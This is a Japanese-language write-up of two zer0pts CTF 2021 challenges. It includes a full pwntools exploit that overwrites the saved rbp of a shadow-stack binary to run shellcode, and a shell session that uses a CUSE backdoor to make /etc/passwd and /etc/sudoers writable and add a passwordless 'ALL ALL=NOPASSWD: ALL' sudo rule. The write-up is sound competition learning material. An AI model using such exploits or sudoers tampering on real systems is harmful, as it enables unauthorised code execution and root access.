zer0pts CTF 2021 writeup

2021-3-6 09:00:00 (JST) ~ 2020-3-7 21:00:00 (JST)に開催されたzer0pts CTF 2021のWriteupです。

0x62EEN7EAという個人チームで出場して、134位でした。

warmup問しか解けませんでしたがとても楽しめました。

[pwn] Not beginner's stack

FOR_BEGINNERS.mdとmain.S、challという3つのファイルが渡されます。

以下はmain.Sです。

global _start
section .text

%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
  mov ecx, [__stack_depth]
  mov qword [__stack_shadow + rcx * 8], %%return_address
  inc dword [__stack_depth]
;; goto function
  jmp %1
  %%return_address:
%endmacro

%macro ret 0
;; goto __stack_shadow[--__stack_depth];
  dec dword [__stack_depth]
  mov ecx, [__stack_depth]
  jmp qword [__stack_shadow + rcx * 8]
%endmacro

_start:
  call notvuln
  call exit

notvuln:
;; char buf[0x100];
  enter 0x100, 0
;; vuln();
  call vuln
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x100);
  mov edx, 0x100
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return 0;
  xor eax, eax
  ret

vuln:
;; char buf[0x100];
  enter 0x100, 0
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return;
  leave
  ret

read:
  xor eax, eax
  syscall
  ret

write:
  xor eax, eax
  inc eax
  syscall
  ret

exit:
  mov eax, 60
  syscall
  hlt

section .data
msg_data:
  db "Data: "
__stack_depth:
  dd 0

section .bss
__stack_shadow:
  resb 1024

checksecでchallのセキュリティ機構を調べます。

$ checksec chall
[*] '/home/vagrant/zer0pts/not_beginners_stack/chall'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

vuln関数にStack buffer overflowの脆弱性があるのですが、リターンアドレスがスタック上にないので書き換えられません。

notvuln関数内のreadに渡すbufのアドレスはrbp - 0x100となっています。vuln関数でリターンアドレスは書き換えられないのですがrbpの値は書き換えられます。そのため、rbpを__stack_shadowのアドレスに0x100足した値にしてやるとnotvuln関数内のreadで__stack_shadowに好きな値を書き込めるようになります。

NX disabledとなっているので、シェルコードを適当に配置してそのアドレスに飛ばしてやればシェルを取ることができます。

# solve.py
from pwn import *

context.arch = "amd64"
stack_shadow = 0x600234

p = remote('pwn.ctf.zer0pts.com', 9011)

p.recvuntil('Data: ')
payload = b'A' * 0x100
# overwrite rbp
payload += p64(stack_shadow + 0x100)
p.send(payload)

#              |                    |
# stack shadow +--------------------+
#     0x600234 |      0x60023c      | <- __stack_shadow[0]
#              +--------------------+
#     0x60023c |      0x600244      | <- ret addr
#              +--------------------+
#     0x600244 |      shellcode     |
#              +--------------------+
#              |                    |
p.recvuntil('Data: ')
# overwrite __stack_shadow[0]
payload = p64(stack_shadow + 8)
# ret addr
payload += p64(stack_shadow + 16)
# shellcode
payload += asm(shellcraft.sh())
p.send(payload)

p.interactive()
$ python solve.py
[+] Opening connection to pwn.ctf.zer0pts.com on port 9011: Done
[*] Switching to interactive mode
$ ls
chall
flag-4c57150ed5cda2a8570c94eb5a9a5f9f.txt
redir.sh
$ cat flag-4c57150ed5cda2a8570c94eb5a9a5f9f.txt
zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}

[rev] infected

backdoorという実行ファイルが渡されます。このファイルが接続先で動作しているようです。

backdoorをghidraでデコンパイルします。main関数はregister_backdoorを呼び出しているだけです。register_backdoorのデコンパイル結果を以下に示します。

void register_backdoor(undefined4 param_1,undefined8 param_2)

{
  long in_FS_OFFSET;
  undefined local_38 [8];
  undefined4 local_30;
  char **local_28;
  undefined4 local_20;
  char *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_18 = "DEVNAME=backdoor";
  memset(local_38,0,0x20);
  local_30 = 1;
  local_28 = &local_18;
  local_20 = 1;
  cuse_lowlevel_main(param_1,param_2,local_38,devops,0);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

この関数の中でcuse_lowlevel_mainという関数を呼び出しています。この関数はlibfuseというライブラリの関数です。

どのような関数なのか調べるためにソースコードを見ると以下のように定義されていることがわかりました。

int cuse_lowlevel_main(int argc, char *argv[], const struct cuse_info *ci,
               const struct cuse_lowlevel_ops *clop, void *userdata);

この中で重要なのはcuse_lowlevel_opsという構造体で、openやwriteされたときに呼び出す関数をここで設定できるようになっています。

register_backdoorに型を適用し、読みやすいよう変数に名前をつけると以下のようになります。

void register_backdoor(int argc,char **argv)

{
  long in_FS_OFFSET;
  cuse_info info;
  char *local_18;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  local_18 = "DEVNAME=backdoor";
  memset(&info,0,0x20);
  info.dev_info_argc = 1;
  info._16_8_ = &local_18;
  cuse_lowlevel_main(argc,argv,&info,&devops,0);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

上記のcuse_lowlevel_mainの定義におけるconst struct cuse_lowlevel_ops *clopはregister_backdoor内ではdevopsとなっています。devopsは以下のとおりです。

devops

ここからwriteされたときにbackdoor_writeが、openされたときにbackdoor_openが呼び出されることがわかります。

backdoor_write関数を見ていきます。

void backdoor_write(fuse_req_t req,char *buf,size_t size,off_t off,fuse_file_info *fi)

{
  int iVar1;
  __mode_t __mode;
  char *__s;
  char *__s1;
  char *__file;
  char *__nptr;
  long in_FS_OFFSET;
  stat64 local_a8;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  __s = strndup((char *)size,off);
  if (__s == (char *)0x0) {
    fuse_reply_err(buf,0x16);
    goto LAB_00100c8c;
  }
  __s1 = strtok(__s,":");
  __file = strtok((char *)0x0,":");
  __nptr = strtok((char *)0x0,":");
  if (((__s1 == (char *)0x0) || (__file == (char *)0x0)) || (__nptr == (char *)0x0)) {
    fuse_reply_err(buf,0x16);
  }
  else {
    iVar1 = strncmp(__s1,"b4ckd00r",8);
    if (iVar1 == 0) {
      stat64(__file,&local_a8);
      if ((local_a8.st_mode & 0xf000) == 0x8000) {
        __mode = atoi(__nptr);
        iVar1 = chmod(__file,__mode);
        if (iVar1 == 0) {
          fuse_reply_write(buf,off,off);
          goto LAB_00100c7d;
        }
      }
      fuse_reply_err(buf,0x16);
    }
    else {
      fuse_reply_err(buf,0x16);
    }
  }
LAB_00100c7d:
  free(__s);
LAB_00100c8c:
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

この関数で行っていることを大まかにまとめると

  1. 書き込まれた文字列が__s1:__file:__nptrという形式かチェック
  2. 以下の条件を満たしていれば__fileで与えた名前のファイルのパーミッション__nptrに変更する
    • __s1が"b4ckd00r"
    • __fileで与えた名前のファイルのst_modeが0x8000

例えば、"b4ckd00r:/etc/passwd:4095"と書き込むと/etc/passwdに誰でも書き込み、読み込みできるようになり実行も行えるようになります。

backdoorは/dev/backdoorにあるので、ここに上記のような文字列を書き込むとパーミッションを書き換えられます。

直接rootのパーミッションを書き換えようとしたところ失敗したため以下の手順で解きました。

  1. /etc/passwdと/etc/sudoersのパーミッションを書き換え、書き込み可能にする
  2. /etc/passwdに現在のユーザ(sudo)を追加する
  3. /etc/sudoersに"ALL ALL=NOPASSWD: ALL" を追加し誰でもパスワード入力なしでsudoを使えるようにする
  4. sudoを使ってflagを表示する
$ nc any.ctf.zer0pts.com 11011
sha256("????DRn4kuZA_8eThpLoQZQ_") = c4473aa00cef8764770d47eee78de96bfd8640b40a4154a393572d5c4e34f2d4
NeQO
[+] Correct
/ $ id
uid=1000 gid=1000(sudo) groups=1000(sudo)
/ $ echo "b4ckd00r:/etc/passwd:4095" > /dev/backdoor
echo "b4ckd00r:/etc/passwd:4095" > /dev/backdoor
/ $ echo "b4ckd00r:/etc/sudoers:4095" > /dev/backdoor
echo "b4ckd00r:/etc/sudoers:4095" > /dev/backdoor
/ $ echo "sudo:hoge:1000:1000::/bin/bash" >> /etc/passwd
echo "sudo:hoge:1000:1000::/bin/bash" >> /etc/passwd
/ $ echo "ALL ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "ALL ALL=NOPASSWD: ALL" >> /etc/sudoers
/ $ echo "b4ckd00r:/etc/sudoers:288" > /dev/backdoor
echo "b4ckd00r:/etc/sudoers:288" > /dev/backdoor
/ $ sudo /bin/ls root
sudo /bin/ls root
flag-b40d08b2f732b94d5ba34730c052d7e3.txt
/ $ sudo /bin/cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt
sudo /bin/cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt
zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}
/ $